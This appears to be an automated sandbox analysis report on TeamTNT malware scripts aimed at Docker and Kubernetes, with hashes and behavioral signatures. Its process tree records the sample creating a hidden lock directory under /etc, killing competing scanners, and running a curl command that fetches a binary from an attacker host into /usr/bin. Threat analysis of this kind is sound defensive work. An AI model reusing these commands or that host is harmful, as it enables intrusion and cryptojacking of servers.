Overview
overview
10Static
static
10SugarLogic...AWS.sh
ubuntu-18.04-amd64
6SugarLogic...AWS.sh
debian-9-armhf
6SugarLogic...AWS.sh
debian-9-mips
6SugarLogic...AWS.sh
debian-9-mipsel
6SugarLogic...nge.sh
ubuntu-18.04-amd64
6SugarLogic...nge.sh
debian-9-armhf
6SugarLogic...nge.sh
debian-9-mips
6SugarLogic...nge.sh
debian-9-mipsel
6SugarLogic...tup.sh
windows7-x64
3SugarLogic...tup.sh
windows10-2004-x64
3SugarLogic...bot.sh
windows7-x64
3SugarLogic...bot.sh
windows10-2004-x64
3SugarLogic...d_2.sh
ubuntu-18.04-amd64
7SugarLogic...d_2.sh
debian-9-armhf
7SugarLogic...d_2.sh
debian-9-mips
7SugarLogic...d_2.sh
debian-9-mipsel
7SugarLogic...oit.sh
windows7-x64
3SugarLogic...oit.sh
windows10-2004-x64
3SugarLogic...arch64
ubuntu-18.04-amd64
SugarLogic...arch64
debian-9-armhf
SugarLogic...arch64
debian-9-mips
SugarLogic...arch64
debian-9-mipsel
SugarLogic...x86_64
ubuntu-22.04-amd64
10SugarLogic.../bot_u
ubuntu-22.04-amd64
10SugarLogic...en2.sh
ubuntu-18.04-amd64
3SugarLogic...en2.sh
debian-9-armhf
4SugarLogic...en2.sh
debian-9-mips
3SugarLogic...en2.sh
debian-9-mipsel
3SugarLogic...cap.so
ubuntu-22.04-amd64
1SugarLogic.../mo.sh
ubuntu-18.04-amd64
7SugarLogic.../mo.sh
debian-9-armhf
7SugarLogic.../mo.sh
debian-9-mips
10Analysis
-
max time kernel
150s -
max time network
132s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240611-en -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
29-12-2024 23:10
Behavioral task
behavioral1
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/AWS.sh
Resource
ubuntu1804-amd64-20240611-en
ubuntu-18.04-amd64
Behavioral task
behavioral2
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/AWS.sh
Resource
debian9-armhf-20240611-en
debian-9-armhf
Behavioral task
behavioral3
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/AWS.sh
Resource
debian9-mipsbe-20240418-en
debian-9-mips
Behavioral task
behavioral4
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/AWS.sh
Resource
debian9-mipsel-20240729-en
debian-9-mipsel
Behavioral task
behavioral5
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/Docker-API.IP.Range.sh
Resource
ubuntu1804-amd64-20240611-en
ubuntu-18.04-amd64
Behavioral task
behavioral6
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/Docker-API.IP.Range.sh
Resource
debian9-armhf-20240729-en
debian-9-armhf
Behavioral task
behavioral7
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/Docker-API.IP.Range.sh
Resource
debian9-mipsbe-20240611-en
debian-9-mips
Behavioral task
behavioral8
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/Docker-API.IP.Range.sh
Resource
debian9-mipsel-20240611-en
debian-9-mipsel
Behavioral task
behavioral9
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/Kubernetes.XMR.tmp.Setup.sh
Resource
win7-20240903-en
windows7-x64
Behavioral task
behavioral10
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/Kubernetes.XMR.tmp.Setup.sh
Resource
win10v2004-20241007-en
windows10-2004-x64
Behavioral task
behavioral11
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/Kubernetes.put.the.bot.sh
Resource
win7-20240903-en
windows7-x64
Behavioral task
behavioral12
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/Kubernetes.put.the.bot.sh
Resource
win10v2004-20241007-en
windows10-2004-x64
Behavioral task
behavioral13
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/Kubernetes_root_PayLoad_2.sh
Resource
ubuntu1804-amd64-20240508-en
ubuntu-18.04-amd64
Behavioral task
behavioral14
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/Kubernetes_root_PayLoad_2.sh
Resource
debian9-armhf-20240611-en
debian-9-armhf
Behavioral task
behavioral15
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/Kubernetes_root_PayLoad_2.sh
Resource
debian9-mipsbe-20240611-en
debian-9-mips
Behavioral task
behavioral16
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/Kubernetes_root_PayLoad_2.sh
Resource
debian9-mipsel-20240729-en
debian-9-mipsel
Behavioral task
behavioral17
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/MountSshExploit.sh
Resource
win7-20240903-en
windows7-x64
Behavioral task
behavioral18
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/MountSshExploit.sh
Resource
win10v2004-20241007-en
windows10-2004-x64
Behavioral task
behavioral19
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/TNTb/aarch64
Resource
ubuntu1804-amd64-20240508-en
ubuntu-18.04-amd64
Behavioral task
behavioral20
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/TNTb/aarch64
Resource
debian9-armhf-20240611-en
debian-9-armhf
Behavioral task
behavioral21
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/TNTb/aarch64
Resource
debian9-mipsbe-20240611-en
debian-9-mips
Behavioral task
behavioral22
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/TNTb/aarch64
Resource
debian9-mipsel-20240611-en
debian-9-mipsel
Behavioral task
behavioral23
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/TNTb/x86_64
Resource
ubuntu2204-amd64-20240522.1-en
ubuntu-22.04-amd64
Behavioral task
behavioral24
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/bot_u
Resource
ubuntu2204-amd64-20240611-en
ubuntu-22.04-amd64
Behavioral task
behavioral25
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/kuben2.sh
Resource
ubuntu1804-amd64-20240729-en
ubuntu-18.04-amd64
Behavioral task
behavioral26
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/kuben2.sh
Resource
debian9-armhf-20240611-en
debian-9-armhf
Behavioral task
behavioral27
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/kuben2.sh
Resource
debian9-mipsbe-20240611-en
debian-9-mips
Behavioral task
behavioral28
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/kuben2.sh
Resource
debian9-mipsel-20240418-en
debian-9-mipsel
Behavioral task
behavioral29
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/libpcap.so
Resource
ubuntu2204-amd64-20240729-en
ubuntu-22.04-amd64
Behavioral task
behavioral30
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/mo.sh
Resource
ubuntu1804-amd64-20240611-en
ubuntu-18.04-amd64
Behavioral task
behavioral31
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/mo.sh
Resource
debian9-armhf-20240611-en
debian-9-armhf
Behavioral task
behavioral32
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/mo.sh
Resource
debian9-mipsbe-20240611-en
debian-9-mips
General
-
Target
SugarLogic_#teamtnt_by_@r3dbU7z/Docker-API.IP.Range.sh
-
Size
21KB
-
MD5
d0295e4ffb268b65f19e7e315f6ec5c6
-
SHA1
0164ad6ed68acd956395202fe8fd6561fe10e62c
-
SHA256
0dab485f5eacbbaa62c2dd5385a67becf2c352f2ebedd2b5184ab4fba89d8f19
-
SHA512
5795640f96e8f5514cce674e46fc2cac5c9d91c53ec7bc45e42ecb315a13851aabd83a9ed11702d7112179ea74f2f6b27febc77204aa6937409e873ec920b33a
-
SSDEEP
192:9Uml6l+q7osa5zmPXArSKUpVkzzfbmpWMzAH53p1RMFKodJZIYIHAFDMXT:mtHssOTmpWCAHvCdYHAFDkT
Malware Config
Signatures
-
Enumerates running processes
Discovers information about currently running processes on the system
-
Reads CPU attributes 1 TTPs 3 IoCs
description ioc Process File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill -
description ioc Process File opened for reading /proc/31/status pkill File opened for reading /proc/489/cmdline pkill File opened for reading /proc/1265/cmdline pkill File opened for reading /proc/1360/cmdline pkill File opened for reading /proc/175/status pkill File opened for reading /proc/1131/cmdline pkill File opened for reading /proc/662/status pkill File opened for reading /proc/1043/cmdline pkill File opened for reading /proc/1196/status pkill File opened for reading /proc/5/status pkill File opened for reading /proc/17/cmdline pkill File opened for reading /proc/25/status pkill File opened for reading /proc/174/status pkill File opened for reading /proc/208/status pkill File opened for reading /proc/472/cmdline pkill File opened for reading /proc/1073/cmdline pkill File opened for reading /proc/658/status pkill File opened for reading /proc/1115/cmdline pkill File opened for reading /proc/1216/cmdline pkill File opened for reading /proc/30/status pkill File opened for reading /proc/15/cmdline pkill File opened for reading /proc/164/cmdline pkill File opened for reading /proc/175/cmdline pkill File opened for reading /proc/15/status pkill File opened for reading /proc/7/status pkill File opened for reading /proc/20/status pkill File opened for reading /proc/7/cmdline pkill File opened for reading /proc/16/status pkill File opened for reading /proc/1079/status pkill File opened for reading /proc/8/cmdline pkill File opened for reading /proc/677/status pkill File opened for reading /proc/99/status pkill File opened for reading /proc/1049/cmdline pkill File opened for reading /proc/710/status pkill File opened for reading /proc/415/status pkill File opened for reading /proc/352/status pkill File opened for reading /proc/1493/status pkill File opened for reading /proc/166/cmdline pkill File opened for reading /proc/21/cmdline pkill File opened for reading /proc/1476/cmdline pkill File opened for reading /proc/1216/status pkill File opened for reading /proc/1196/cmdline pkill File opened for reading /proc/81/status pkill File opened for reading /proc/18/cmdline pkill File opened for reading /proc/24/cmdline pkill File opened for reading /proc/526/cmdline pkill File opened for reading /proc/262/status pkill File opened for reading /proc/23/status pkill File opened for reading /proc/1165/status pkill File opened for reading /proc/1378/cmdline pkill File opened for reading /proc/18/status pkill File opened for reading /proc/179/cmdline pkill File opened for reading /proc/415/cmdline pkill File opened for reading /proc/1343/status pkill File opened for reading /proc/32/cmdline pkill File opened for reading /proc/1321/cmdline pkill File opened for reading /proc/180/status pkill File opened for reading /proc/1145/cmdline pkill File opened for reading /proc/1503/cmdline pkill File opened for reading /proc/431/cmdline pkill File opened for reading /proc/712/status pkill File opened for reading /proc/4/cmdline pkill File opened for reading /proc/83/status pkill File opened for reading /proc/453/status pkill
Processes
-
/tmp/SugarLogic_#teamtnt_by_@r3dbU7z/Docker-API.IP.Range.sh"/tmp/SugarLogic_#teamtnt_by_@r3dbU7z/Docker-API.IP.Range.sh"1⤵PID:1506
-
/bin/mkdirmkdir -p /etc/.../.docker-api.ip.range.lock/2⤵PID:1507
-
-
/usr/bin/pkillpkill masscan2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1508
-
-
/usr/bin/pkillpkill pnscan2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1509
-
-
/usr/bin/pkillpkill zgrab2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1510
-
-
/usr/bin/curlcurl -sLk http://dl1.chimaera.cc:443/sugarcrm/themes/default/images/SugarLogic/.../jq/x86_64 -o /usr/bin/jq2⤵PID:1511
-